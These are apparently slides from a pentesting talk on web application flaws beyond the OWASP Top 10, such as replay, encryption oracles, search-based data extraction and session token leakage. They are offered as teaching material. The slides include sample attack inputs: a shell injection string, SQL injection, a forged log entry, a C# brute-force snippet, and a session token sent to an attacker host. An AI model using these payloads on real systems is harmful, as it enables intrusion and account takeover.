Beyond the OWASP Top 10

Marcus Pinto
marcus@mdsec.co.uk
MDSec Short History


Rest of 2011:
• MDSec.net online training
• MDSec.co.uk consulting (assessment services)
• Webapp, Mobile Apps, Inf, SDLC, CREST, CHECK, other really good acronyms.
Introduction
The Talk’s Background

Task: create a vulnerability management system
- Wanted to integrate with Fortify, others
- Wanted metrics to feed into KPIs
- Wanted to store all vulnerabilities by OWASP top 10

- Assumption: all AppSec issues have an OWASP top 10 category
- ...we will never locate, track and resolve anything else?
Introduction

Background

Remember how tempting it is to think of easy wins

Some Easy Wins:

EW #1: “We’ll just encrypt everything”
EW #2: “Everything will be input validated”
EW #3: “It’ll all be picked up in the log files / audit trail”
EW #4: “We have firewalls”
EW #5: “We have application security systems”
(E?)W #6: “We did the OWASP Top 10, and the PCI Auditor went away”

Some Easy Wins in action...
2005: Message from a popular eCommerce Provider

“This site is absolutely secure. It has been designed to use 128-bit Secure Socket Layer (SSL) technology to prevent unauthorized users from viewing any of your information. You may use this site with peace of mind that your data is safe with us.”
2012: Message from a popular Cloud Provider

“We use unbreakable 256-bit AES encryption to ensure that the contents of your data is completely private and secure — only you and those you choose to share with may view the content of your files.”
2012: Message from a popular Security Solutions Provider
Dangers of OWASP Top 10

“OWASP top 10” = “Application Security” for many internal teams.

Security products focus on it
PCI Auditors focus on it
Pentesters focus on it
Developers focus on it

We don’t want pentesting moved to the ‘Easy Wins’ Category!

Ref: Haroon Meer – “Penetration Testing Considered Harmful Today”
http://thinkst.com/stuff/44Con/44con-final.pdf
How many webapp vulnerabilities can you think of, which *don’t* fall into one of these categories?

<table>
<thead>
<tr>
<th>OWASP Top 10</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1 – Injection</td>
</tr>
<tr>
<td>A2 – Cross Site Scripting (XSS)</td>
</tr>
<tr>
<td>A3 – Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A5 – Cross Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td><strong>A6 – Security Misconfiguration (NEW)</strong></td>
</tr>
<tr>
<td>A7 – Failure to Restrict URL Access</td>
</tr>
<tr>
<td>A8 – Unvalidated Redirects and Forwards (NEW)</td>
</tr>
<tr>
<td>A9 – Insecure Cryptographic Storage</td>
</tr>
<tr>
<td>A10 – Insufficient Transport Layer Protection</td>
</tr>
</tbody>
</table>
Conclusion: It’s a good list..

Today’s talk: Some highlights from our tests which aren’t really described in the OWASP Top10 list + presentations.

- In vulnerability terms, there’s nothing new here.

But:
- Results of repeated pentesting / remediation cycles
- Common occurrences, not one-offs.

This is a talk about methodology, not ‘Technology X’ or ‘Tool Y’
Simple Illustration: Replay Attack

Background
A system allows trading on real-time prices. Trading is sufficiently complex that by the time a user has decided on a purchase/sale, the price on the server may have changed.

Solution: Users’ prices are stored on the client side, but a checksum is included with the price. This allows the server to validate the price specified has not been tampered with.
(Trivial) Vulnerability

Users can either:

- Find a cheap item, and use the checksum to buy an expensive item
- Wait for an item to increase/decrease in price, then use the old checksum.
Background

- “Forgot Password” generated a secondary challenge.
- Originally, a pentest had concluded that username enumeration was possible because if the username is not recognised, no challenge is generated.

Solution: Issue a “forgot password” challenge, and allow it to be answered, and then give a generic response “Thank you, recovery information has been sent to your email account”.
The Vulnerability – User Enumeration after all...
- The dummy challenge is going to be a randomly generated question.
- Attacker can determine valid accounts by trying the same account twice.
Background

- RememberMe cookie is used to store an authentication token.
- The RememberMe token contains meaningful data (random data, source IP, uid), and is protected using strong encryption.
- ScreenName cookie stores screen name.
- A security audit recommends that the ScreenName cookie is also encrypted.

Solution: Developers use the same strong encryption as for RememberMe. Whilst it may be overkill, it provides the same security benefit – Right?
The First Vulnerability: an Encryption ‘Reveal’ Oracle

Users can now leverage the displayed screen name to decrypt the RememberMe cookie. We supply the RememberMe cookie value in place of the ScreenName cookie.

Interesting info-leakage, but not a serious vulnerability – yet..
The Second Vulnerability: an Encryption ‘Write’ Oracle

Users can choose their own screen name! Selecting the screen name `admin|1|10.1.1.154|1301216856` gives you an encrypted `ScreenName` cookie.

This encrypted value is a valid `RememberMe` token as well ...
Background

An application returns documents that match a user-supplied search term. As an incentive to attract users, they know their search is found but need to pay/sign up to view the document in question.

Solution: Documents appear in the search response, but there is access control which stops you actually viewing the document until you’re signed in.
Vulnerability

An attacker could brute-force sensitive content within protected documents by searching one word or letter at a time, for example:

US Sanctions
US Sanctions planned
...
...
US Sanctions planned against DotNetNuke authors

Found on an internal wiki: some router configs. This time a substring match works!

Password
Password=
Password=a
Password=b
Password=ba...
Searching within Searches

Vulnerability

Knowledgebase Search

Please enter a search term: password

Documents Found:
- portal config
- password management

Knowledgebase Search

Please enter a search term: password=a

Documents Found:

Knowledgebase Search

Please enter a search term: password=m

Documents Found:
- portal config
Vulnerability

```csharp
static void Main(string[] args)
{
    string current_requeststring = args[0]; //search term
    System.Console.Write("found: "+ current_requeststring);

    for (int i = 45; i <= 122; i++)
    {
        WebClient wc = new WebClient();
        wc.Headers.Add("Content-Type","application/x-www-form-urlencoded");

        if (i == 95) //skip wildcard character
            i++;


        Match m = Regex.Match(response, "portal.config");

        if (m.Success)
        {
            current_requeststring = current_requeststring + (char)i;
            System.Console.Write((char)i);
            i = 45;
        }
    }
}
```
Background

Users register using their email address
Email address is validated to be a well-formed email address
Usernames then derived from alphanumeric portions of the email address

marcus@mdsec.co.uk ➔ marcusmdseccouk
Vulnerability one: some access to admin menus

Whilst trying for a username enumeration attack, we register the username: 

ad@m.in

We were hoping to get a ‘user already exists’ error. Instead it creates us a user called “admin”. No bug?

..later we log into the site as our ‘admin’ user, and discover that we have created a second admin user, who can access all of the admin menus. This line is to blame:

```php
if ($_SESSION['user'] == 'admin') {
    ...
    ...
```
Vulnerability two: arbitrary user hijack!
Updating our user’s password resulted in the admin’s password being updated...

So it’s not just an admin special case, we can clone and take over any user:

Registering marcu@smdsec.co.uk would allow us to compromise the first record in the database with the (now non-unique) username marcusmdseccouk.
Background
A banking application allows existing banking customers to register to use online banking facilities. The workflow goes:

1. Challenge #1: First/Second Name, DoB
2. Challenge #2: Balance on last paper statement
3. Challenge #3: ...

This should not allow immediate access to online banking

Solution: Issue a welcome pack and one-time password in the mail to the registered user’s home address.
The Vulnerability

When the user had been identified based on supplied information, the application created a session object to track the customer’s identity in the rest of the process. Developers reused an existing code component.

• But this code component was used elsewhere in the app’s main banking functions to track the identity of authenticated users, and grant access to requests to view statements / make payments.
• A malicious bank customer could perform the following attack:
  – Log in to the main banking application as normal, to obtain a valid session.
  – Switch to the registration function, and submit another customer’s personal information, causing the user identity object in their session to be overwritten.
  – Switch back to the main application and access the victim’s bank account.
**Background**

eBay allows you to use an offsite image when listing an item.

- Offsite images are outside of eBay’s control.

*Solution: when the user lists an item containing an off-site image, eBay checks it to make sure it’s a bona fide image, parsing it etc.*
The Vulnerability

eBay only checked at item creation. If the image is on your server, you can alter your server’s behaviour afterwards.

• After successfully listing the item, the attacker issued a 302 Redirect when the image was requested.
• The 302 Redirect was back to eBay, where you were logged in already.
• The Redirect made you bid on the item.
Background

This application executed OS commands using user-supplied data.

Solution: the developers considered all of the OS metacharacters which needed to be escaped, and prepended a backslash to any of those found. Their list was:

`; | & < > ` space and newline
The Vulnerability
The developers forgot to escape the backslash itself.

- If the attacker supplies
  ```
  foo\;ls
  ```

- Then the application will supply an extra backslash..
  ```
  foo\\;ls
  ```

So the application’s backslash is escaped..
And the attacker’s semicolon isn’t.
Background

- Passwords were continually being found in log files.
- Included unstructured logging eg query string, json arrays, error handling

Solution: Apply a mask to all logs to ensure entries following the string `password=` were masked. This used a Regex something like `password=((?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%]).{6,20})` and filtered out matching text.
A useful audit sanitiser

Vulnerability: attacks are masked when triggering the security rule

/Search.aspx?docid=1password%3D%2520drop%20table%20users&order=5

Log entry:

Application Log:
WARNING: Parsing error encountered processing docid 1password=********

Etc, etc.
A useful audit sanitiser

Diatribes:

Diatribie 1 – Snort:

Attacks show up under the highest priority signature they trigger:

GET /Search.aspx?Searchterm=a’%20or%201%3d1 HTTP/1.0
User-Agent: Mozilla/5.0 (/etc/passwd)


Diatribie 2 – SQL Auditing:

Bypass SQL Audit Log by invoking sp_password (Chris Anley, 2002)


Attack places the string sp_password at any location within an SQL Statement

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

© 2011 MDSec Consulting Ltd. All rights reserved.
Background
Users could submit feedback which was appended onto a ‘notes’ file.

Solution: User feedback is appended with date/timestamp, name etc.

-------Vincent Caruthers 10:02 13/07/2011--------
User is claiming out of package benefits. Referred to backoffice team for review.

-------Joe Customer (APP01) 14:35 11/07/2011--------
I would like to redeem my offer submitted on 17th May 2011.
Vulnerability

Users can submit a ‘feedback’ query of:

Thank you.----------Admin%20User%2012:03%2015/07/2011----------%0a%0d%0d%0dItem%20was%20approved%20manually

--------Joe%20Customer%20(APP01%2011:05%2014/07/2011)--------
Thank%20you.

--------Admin%20User%2012:03%2015/07/2011--------
Item%20was%20approved%20manually

--------Vincent%20Caruthers%2010:02%2013/07/2011--------
User%20is%20claiming%20out%20of%20package%20benefits.%20Referred%20to%20backoffice%20team%20for%20review.

--------Joe%20Customer%20(APP01%2014:35%2011/07/2011)--------
I%20would%20like%20to%20redeem%20my%20offer%20submitted%20on%2017th%20May%202011.
..back to our long-suffering app..

Remember this token?

marcus|134|10.1.1.154|1301216856

What if you register with a username of admin|1?
Sometimes we must allow a condition, but stop it being automated

- User Enumeration in Authentication
- Money can be made automating repetitive tasks
  - Refer and Earn
  - Site Registration Bonus

Standard solution is a CAPTCHA

→ So solving a CAPTCHA = earning money
CAPTCHA: Making Money on the Internet

Option 1: the direct approach

Burp Extender developed by www.idontplaydarts.com
10

Anti-anti-automation

CAPTCHA: Making Money on the Internet

Option 2: an indirect approach. Serve a tempting file and get other people to answer ‘your’ CAPTCHAs.
Background
We found a session token in the URL and wanted to prove it was bad practice.

Mitigations
- Token was reassigned after logon; Session Fixation was not a practical attack.
- Actually part of the site design. Pentest finding had been dismissed many times.

So (why) can it be bad practice?
Bad Practice: Why?

Session ID in the URL exploited using ‘Non-Forged’ Cross Site Requests

- Injected a link to a resource (image, etc) hosted on attacker’s server.
- The session token is sent in the Referer Field

GET /mostlyharmless.aspx HTTP/1.1
Host: mdattacker.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://apugowebf.mdseclabs.net/auth/379/Home.ashx?
SessionId__379=A3C166C0210A12BF3C99005A561C6098
Connection: keep-alive
Introduction

Any Others?

Also not on the top 10:

- Clickjacking, Strokejacking, UI Redress
- HTTP Parameter Pollution
- Memory Management eg Integer Overflows, buffer overflow, ..
- Arbitrary File Access (!)
Conclusion
So is the OWASP Top 10 ‘wrong’?

No.

- But “top 10” !≠ All issues
- Stressing “top 10” focus may hide some interesting issues
- MDSec Consulting has assessed many applications which have been ‘penetration tested’ before, possibly using a fixed/rigid methodology.
- When done right, penetration testing is fun, creative and gives genuinely useful results
Introduction

Questions?